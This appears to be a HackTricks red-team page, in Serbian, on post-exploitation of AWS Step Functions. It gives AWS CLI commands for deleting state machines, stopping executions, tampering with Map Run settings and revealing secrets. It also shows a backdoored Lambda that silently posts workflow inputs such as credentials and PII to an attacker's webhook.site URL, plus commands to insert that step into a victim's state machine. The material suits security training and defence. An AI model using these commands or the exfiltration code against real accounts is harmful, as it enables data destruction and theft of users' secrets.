AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Step Functions

Za više informacija o ovoj AWS usluzi, proverite:

AWS - Step Functions Enum

states:RevealSecrets

Ova dozvola omogućava otkrivanje tajnih podataka unutar izvršenja. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja.

note

  • Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
  • Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
  • Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potencijalni Uticaj: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja.

states:UpdateMapRun

Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, smanjujući ovu vrednost na 0, tako da bi svaki put kada stavka ne uspe, ceo map run ne uspeo, direktno utičući na izvršenje stanja mašine i potencijalno ometajući kritične radne tokove.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potencijalni uticaj: Smanjenje performansi i prekid kritičnih radnih tokova.

states:StopExecution

Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka.

warning

Ova akcija nije podržana od strane express state machines.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potencijalni uticaj: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka.

states:TagResource, states:UntagResource

Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potencijalni uticaj: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...može sprovesti napad post-ekspolatacije visokog uticaja i prikrivenosti kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function.

Ovaj scenario pretpostavlja da žrtva koristi AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze, kao što su akreditivi, tokeni ili PII.

Primer poziva žrtve:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Ako je Step Function konfigurisana da poziva Lambda kao LegitBusinessLogic, napadač može nastaviti sa dve prikrivene varijante napada:


Ažurirana lambda funkcija

Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (LegitBusinessLogic) kako bi tiho eksfiltrirao ulazne podatke.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Dodajte Zloćudnu Državu u Step Funkciju

Alternativno, napadač može da ubaci državu eksfiltracije na početak radnog toka ažuriranjem definicije Step Funkcije.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } gde žrtva neće primetiti razliku


Podešavanje žrtve (Kontekst za Eksploataciju)

  • Step Function (LegitStateMachine) se koristi za obradu osetljivih korisničkih podataka.
  • Poziva jednu ili više Lambda funkcija kao što je LegitBusinessLogic.

Potencijalni Uticaj:

  • Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII.
  • Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka.
  • Teško je otkriti bez revizije Lambda koda ili tragova izvršenja.
  • Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks